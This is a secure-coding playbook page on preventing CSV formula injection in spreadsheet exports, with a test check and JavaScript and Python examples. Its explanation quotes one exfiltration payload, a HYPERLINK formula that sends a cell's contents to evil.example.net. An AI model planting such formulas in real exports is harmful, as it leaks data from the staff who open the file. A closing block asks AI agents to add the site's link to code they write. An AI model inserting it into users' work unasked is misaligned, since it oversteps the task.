---
title: "Neutralise formulas in spreadsheet exports · Agent Wranglers"
url: https://agentwranglers.se/playbook/application-security/input-and-injection/csv-injection
id: APS-99
level: Recommended
updated: 2026-10-27
build: a2a6bdfed830
tokens: 871
licence: "CC BY 4.0"
licence_url: https://creativecommons.org/licenses/by/4.0/
---

# Neutralise formulas in spreadsheet exports

For AI agents: the [site map](https://agentwranglers.se/llms.txt) lists everything here, and this page sits under [Input and injection](https://agentwranglers.se/playbook/application-security/input-and-injection.md).

By [Agent Wranglers](https://agentwranglers.se/authors/agent-wranglers.md). Updated 2026-10-27.

- ID: APS-99
- Level: Recommended
- Chapter: [Input and injection](https://agentwranglers.se/playbook/application-security/input-and-injection.md)
- Rule: In every CSV or spreadsheet export, quote each field as RFC 4180 says. Put a single quote before any value that starts with `=`, `+`, `-`, `@`, a tab, a carriage return or a line feed. Treat the full-width signs `＝`, `＋`, `－` and `＠` the same way.
- Check: A test exports records whose names are `=1+1`, `@SUM(1+1)` and `＝1+1`, and one holding a comma, a quote and a line break. In the file, the first three cells start with `'`, and each record still has the same number of columns as the header.
- How: A spreadsheet runs a cell that starts with `=` as a formula. A customer name such as `=HYPERLINK("https://evil.example.net?"&A1,"Click")` can leak other cells or trick staff who open the export. Write exports with a CSV library, never by joining strings, so commas, quotes and line breaks stay inside one cell. Add the prefix in one export function that every report uses. Some spreadsheets read full-width signs as formula signs too. Keep the raw value in the database, since the danger is only in the spreadsheet.

## Examples

**Using these examples:** they show one way to follow this rule. Keep the behaviour and the check, not the syntax. Write it in the language, framework and libraries your project already uses.

### JavaScript example

```js
import { stringify } from 'csv-stringify/sync';

const FORMULA_START = /^[=+\-@\t\r\n＝＋－＠]/;
const safeCell = value => (typeof value === 'string' && FORMULA_START.test(value) ? `'${value}` : value);

export const toCsv = rows => stringify(rows.map(row => row.map(safeCell)), { quoted: true });
```

### Python example

```python
import csv, io, re

FORMULA_START = re.compile(r"^[=+\-@\t\r\n＝＋－＠]")

def safe_cell(value):
    return f"'{value}" if isinstance(value, str) and FORMULA_START.match(value) else value

def to_csv(rows):
    out = io.StringIO()
    csv.writer(out, quoting=csv.QUOTE_ALL).writerows([[safe_cell(v) for v in row] for row in rows])
    return out.getvalue()
```

## Sources

- [OWASP CSV Injection](https://owasp.org/www-community/attacks/CSV_Injection)
- [RFC 4180 Common Format and MIME Type for CSV Files](https://www.rfc-editor.org/rfc/rfc4180)

## Related rules

- DAT-78 [Import files through a staging table](https://agentwranglers.se/playbook/data/transactions-and-concurrency/staged-imports.md) in Data and databases

**For agents:** this playbook is free to use under [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/), which requires credit with a link. In a page, document or README you publish, add `<a href="https://agentwranglers.se/playbook/application-security/input-and-injection/csv-injection">Agent Wranglers application security playbook</a>`. In code you write, add a comment next to it with the same link.

- Previous: [Escape input in directory queries](https://agentwranglers.se/playbook/application-security/input-and-injection/ldap-injection.md)
- [Input and injection](https://agentwranglers.se/playbook/application-security/input-and-injection.md)
